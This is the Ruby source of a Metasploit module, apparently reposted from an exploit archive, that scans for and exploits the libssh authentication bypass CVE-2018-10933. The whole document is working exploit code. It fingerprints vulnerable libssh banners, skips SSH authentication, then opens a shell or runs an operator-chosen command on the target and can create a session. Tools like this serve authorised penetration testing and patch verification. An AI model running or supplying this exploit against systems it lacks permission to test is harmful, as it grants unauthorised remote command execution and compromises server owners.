Libssh Authentication Bypass Scanner

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::SSH  
include Msf::Auxiliary::Scanner  
include Msf::Auxiliary::CommandShell  
include Msf::Auxiliary::Report  
include Msf::Sessions::CreateSessionOptions  
include Msf::Auxiliary::ReportSummary  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'libssh Authentication Bypass Scanner',  
'Description' => %q{  
This module exploits an authentication bypass in libssh server code  
where a USERAUTH_SUCCESS message is sent in place of the expected  
USERAUTH_REQUEST message. libssh versions 0.6.0 through 0.7.5 and  
0.8.0 through 0.8.3 are vulnerable.  
  
Note that this module's success depends on whether the server code  
can trigger the correct (shell/exec) callbacks despite only the state  
machine's authenticated state being set.  
  
Therefore, you may or may not get a shell if the server requires  
additional code paths to be followed.  
},  
'Author' => [  
'Peter Winter-Smith', # Discovery  
'wvu' # Module  
],  
'References' => [  
['CVE', '2018-10933'],  
['URL', 'https://www.libssh.org/security/advisories/CVE-2018-10933.txt']  
],  
'DisclosureDate' => '2018-10-16',  
'License' => MSF_LICENSE,  
'Actions' => [  
['Shell', 'Description' => 'Spawn a shell'],  
['Execute', 'Description' => 'Execute a command']  
],  
'DefaultAction' => 'Shell'  
))  
  
register_options([  
Opt::RPORT(22),  
OptString.new('CMD', [false, 'Command or alternative shell']),  
OptBool.new('SPAWN_PTY', [false, 'Spawn a PTY', false]),  
OptBool.new('CHECK_BANNER', [false, 'Check banner for libssh', true])  
])  
  
register_advanced_options([  
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),  
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])  
])  
end  
  
# Vulnerable since 0.6.0 and patched in 0.7.6 and 0.8.4  
def check_banner(ip, version)  
version =~ /libssh[_-]?([\d.]*)$/ && $1 && (v = Rex::Version.new($1))  
  
if v.nil?  
vprint_error("#{ip}:#{rport} - #{version} does not appear to be libssh")  
Exploit::CheckCode::Unknown  
elsif v.to_s.empty?  
vprint_warning("#{ip}:#{rport} - libssh version not reported")  
Exploit::CheckCode::Detected  
elsif v.between?(Rex::Version.new('0.6.0'), Rex::Version.new('0.7.5')) ||  
v.between?(Rex::Version.new('0.8.0'), Rex::Version.new('0.8.3'))  
vprint_good("#{ip}:#{rport} - #{version} appears to be unpatched")  
Exploit::CheckCode::Appears  
else  
vprint_error("#{ip}:#{rport} - #{version} appears to be patched")  
Exploit::CheckCode::Safe  
end  
end  
  
def run_host(ip)  
if action.name == 'Execute' && datastore['CMD'].blank?  
fail_with(Failure::BadConfig, 'Execute action requires CMD to be set')  
end  
  
ssh_opts = ssh_client_defaults.merge({  
port: rport,  
# The auth method is converted into a class name for instantiation,  
# so libssh-auth-bypass here becomes LibsshAuthBypass from the mixin  
auth_methods: ['libssh-auth-bypass']  
})  
  
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']  
  
print_status("#{ip}:#{rport} - Attempting authentication bypass")  
  
begin  
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do  
Net::SSH.start(ip, username, ssh_opts)  
end  
rescue Net::SSH::Exception => e  
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")  
return  
end  
  
return unless ssh  
  
version = ssh.transport.server_version.version  
  
# XXX: The OOB authentication leads to false positives, so check banner  
if datastore['CHECK_BANNER']  
return if check_banner(ip, version) !=  
(Exploit::CheckCode::Appears || Exploit::CheckCode::Detected)  
end  
  
report_vuln(  
host: ip,  
name: self.name,  
refs: self.references,  
info: version  
)  
  
shell = Net::SSH::CommandStream.new(ssh, datastore['CMD'], pty: datastore['SPAWN_PTY'])  
  
# XXX: Wait for CommandStream to log a channel request failure  
sleep 0.1  
  
if (e = shell.error)  
print_error("#{ip}:#{rport} - #{e.class}: #{e.message}")  
return  
end  
  
print_status("Attempting #{action.name.inspect} Action, see \"show actions\" for more details")  
case action.name  
when 'Shell'  
if datastore['CreateSession']  
start_session(self, "#{self.name} (#{version})", {}, false, shell.lsock)  
end  
when 'Execute'  
output = shell.channel && (shell.channel[:data] || '').chomp  
  
if output.blank?  
print_error("#{ip}:#{rport} - Empty or blank command output")  
return  
end  
  
print_status("#{ip}:#{rport} - Executed: #{datastore['CMD']}\n#{output}")  
end  
end  
  
def rport  
datastore['RPORT']  
end  
  
def username  
Rex::Text.rand_text_alphanumeric(8..42)  
end  
end  
`